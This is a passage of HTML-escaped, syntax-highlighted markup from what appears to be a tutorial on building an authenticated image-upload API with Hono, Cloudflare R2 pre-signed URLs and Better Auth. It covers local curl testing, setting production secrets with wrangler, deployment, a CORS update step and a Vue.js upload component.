&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;app.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;route&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;/api/uploads&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, uploads)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;app.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;/&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;c&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; c.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;text&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Hello Hono!&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;})&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;default&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;app&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;testing-and-validation&quot;&gt;Testing and Validation&lt;/h2&gt;
&lt;h3 id=&quot;local-development&quot;&gt;Local Development&lt;/h3&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# Start development server&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;npm run dev&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# Test the endpoint&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;curl -X POST http://localhost:8787/api/uploads/pre-signed-url \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  -H &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Content-Type: application/json&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  -d &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;{&quot;filename&quot;:&quot;test.jpg&quot;,&quot;contentType&quot;:&quot;image/jpeg&quot;,&quot;fileSize&quot;:1024}&apos;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;authentication-testing&quot;&gt;Authentication Testing&lt;/h3&gt;
&lt;p&gt;The endpoint requires authentication. You’ll need to:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Set up Better Auth with user registration/login&lt;/li&gt;
&lt;li&gt;Include authentication cookies in requests&lt;/li&gt;
&lt;li&gt;Test with authenticated sessions&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;pre-signed-url-validation&quot;&gt;Pre-signed URL Validation&lt;/h3&gt;
&lt;p&gt;Generated URLs should:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Contain AWS signature parameters (&lt;code&gt;X-Amz-Algorithm&lt;/code&gt;, &lt;code&gt;X-Amz-Credential&lt;/code&gt;, etc.)&lt;/li&gt;
&lt;li&gt;Include expiration timestamp (&lt;code&gt;X-Amz-Expires&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Point to the correct R2 bucket URL&lt;/li&gt;
&lt;li&gt;Include metadata headers&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;production-deployment&quot;&gt;Production Deployment&lt;/h2&gt;
&lt;h3 id=&quot;step-1-create-r2-api-token&quot;&gt;Step 1: Create R2 API Token&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Go to Cloudflare Dashboard → R2 Object Storage → Manage R2 API tokens&lt;/li&gt;
&lt;li&gt;Click “Create API token” → “Custom token”&lt;/li&gt;
&lt;li&gt;Set permissions: Object Read &amp;#x26; Write for &lt;code&gt;gallery&lt;/code&gt; bucket&lt;/li&gt;
&lt;li&gt;Copy the Access Key ID and Secret Access Key&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;step-2-set-production-secrets&quot;&gt;Step 2: Set Production Secrets&lt;/h3&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# Set secrets for production&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;npx wrangler secret put BETTER_AUTH_URL&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;npx wrangler secret put BETTER_AUTH_SECRET&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;npx wrangler secret put DATABASE_URL&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;npx wrangler secret put CLOUDFLARE_ACCOUNT_ID&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;npx wrangler secret put R2_ACCESS_KEY_ID&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;npx wrangler secret put R2_SECRET_ACCESS_KEY&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;step-3-deploy&quot;&gt;Step 3: Deploy&lt;/h3&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;npm run deploy&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;step-4-update-cors-for-production&quot;&gt;Step 4: Update CORS for Production&lt;/h3&gt;
&lt;p&gt;Basically the &lt;code&gt;update-cors&lt;/code&gt; lifecycle hook on npm writes a &lt;code&gt;cors.json&lt;/code&gt; file and pushes it to R2:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# Restrict CORS to your domain&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;npm run update-cors &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;https://yourdomain.com&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;https://www.yourdomain.com&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;frontend-integration&quot;&gt;Frontend Integration&lt;/h2&gt;
&lt;h3 id=&quot;a-vuejs-example-for-pre-signed-url-uploads&quot;&gt;A Vue.js Example for Pre-signed URL Uploads&lt;/h3&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;template&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;input&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;file&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;accept&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;image/*&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      @&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;change&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;handleFileUpload&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      :&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;disabled&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;uploading&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;v-if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;uploading&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;Uploading...&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;v-if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;uploadedFiles.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;h3&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;Uploaded Files:&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;h3&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;v-for&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;file &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; uploadedFiles&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; :&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;key&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;file.filename&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;p&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;Original: {{ file.originalName }}&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;p&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;p&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;Stored as: {{ file.filename }}&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;p&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;template&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;script&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;setup&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { ref } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;vue&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;uploading&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;ref&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;uploadedFiles&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;ref&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;([])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;uploadFile&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;response&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;fetch&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;/api/uploads/pre-signed-url&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    method: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;POST&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    headers: { &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Content-Type&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;application/json&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    credentials: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;include&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    body: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;JSON&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;stringify&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      filename: file.name,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      contentType: file.type,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      fileSize: file.size,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    }),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  })&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;presignedUrl&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;filename&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; response.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;json&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;fetch&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(presignedUrl, {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    method: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;PUT&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    headers: { &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Content-Type&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: file.type },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    body: file,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  })&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; filename&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
